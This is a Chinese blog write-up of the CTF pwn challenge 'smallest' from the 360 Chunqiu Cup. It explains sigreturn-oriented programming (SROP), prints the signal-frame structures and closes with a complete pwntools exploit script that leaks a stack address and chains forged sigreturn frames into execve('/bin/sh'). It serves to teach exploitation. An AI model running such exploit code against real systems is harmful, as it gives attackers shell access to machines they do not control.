Pwn

360春秋杯之smallest

SROP利用

Posted by Chris on August 11, 2018

0x00 代码分析

很有意思的pwn题目,思路很新颖。 代码如下:

1
2
3
4
5
6
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h       ; count
.text:00000000004000B8                 mov     rsi, rsp        ; buf
.text:00000000004000BB                 mov     rdi, rax        ; fd
.text:00000000004000BE                 syscall                 ; LINUX - sys_read
.text:00000000004000C0                 retn

短短6行。

关于sigreturn的系统调用:

1
2
3
4
5
6
7
/*for x86*/
mov eax,0x77
int 80h

/*for x86_64*/
mov rax,0xf
syscall

syscall这个指令,它是根据rax寄存器的值来查询系统调用表,并执行对应函数。 可以理解为这样:

1
syscall(rax,rdi,rsi,rdx)

对应的main函数功能就是:syscall(0,0,$rsp,0x400),相当于调用了read函数read(0,$rsp,0x400),即向栈顶读入400个字符。毫无疑问,这个是有栈溢出的。

0x01 SROP简介

signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。

内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。

内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame。

对于signal Frame来说,不同会因为架构的不同而因此有所区别,这里给出分别给出x86以及x64的sigcontext

  • x86
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
  • x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

当内核将进程上下文sigcontext保存在该进程的栈上后,会在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn: 这里以64位为例子,给出Signal Frame更加详细的信息

pic1

果我们将rt_sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。

0x02 漏洞利用

控制输入字符串数量,read 函数读取的字符串个数会赋值到rax寄存器中,布局栈空间,调用sigreturn,控制寄存器的值。接着又通过syscall,调用execve系统调用。

  • 因为带代码很简单,不存在变量,所以elf文件中head信息里没有bss段
  • 调用write系统调用来泄露栈地址,以便后续写入“/bin/sh”
  • 构造signal Frame并写入栈空间,将syscall地址写入到signal Frame上方
  • 通过read读取15个字节,ret到syscall地址,执行signal Frame调用read将“/bin/sh”写入到泄露的栈地址
  • 再次读取构造sigreturn调用,构造execve(‘/bin/sh’,0,0)
  • 再次读取构造sigreturn调用,从而获取shell。

0x03 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
 
context.log_level = 'debug'
context.arch = "amd64"
exe = './smallest'
 
s = process(exe)
 
#调用write系统调用来泄露栈地址  
#write stack address  
main_addr = 0x4000b0
syscall_addr = 0x4000be
 
write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
s.send(write_payload)
 
#返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1
s.send("\xb3") # set rax=1  write     
stack_addr = u64(s.recv()[8:16])
print hex(stack_addr)
 
#得到一个栈地址后,让rsp指向stack_addr
#frame 
#call read into stack_addr
# target : get "/bin/sh" addr
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
# frame代表read(0,stack_addr,0x400)  
 
#现将Payload写到栈上
read_frame_payload = p64(main_addr) + p64(0) + str(frame)
s.send(read_frame_payload)
 
#通过字符数量,调用sigreturn
goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8) # sigreturn syscall is 15 
s.send(goto_sigreturn_payload)
 
#frame 
#call execv("/bin/sh",0,0)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x150 # "/bin/sh" 's addr 
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr
 
execv_frame_payload = p64(main_addr) + p64(0) + str(frame)
execv_frame_payload_all = execv_frame_payload + (0x150 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
s.send(execv_frame_payload_all)
 
s.send(goto_sigreturn_payload)  
 
s.interactive()

0x04 总结

  1. srop结合rop进行使用,srop的作用除了控制执行流以外,更大的作用是可以控制所有寄存器,这是一般rop做不到的
  2. 在栈顶部分的环境变量和栈的位置密切相关,当拥有泄露漏洞,但是不知道从哪儿可以获取到栈地址的时候可以考虑环境变量

文件下载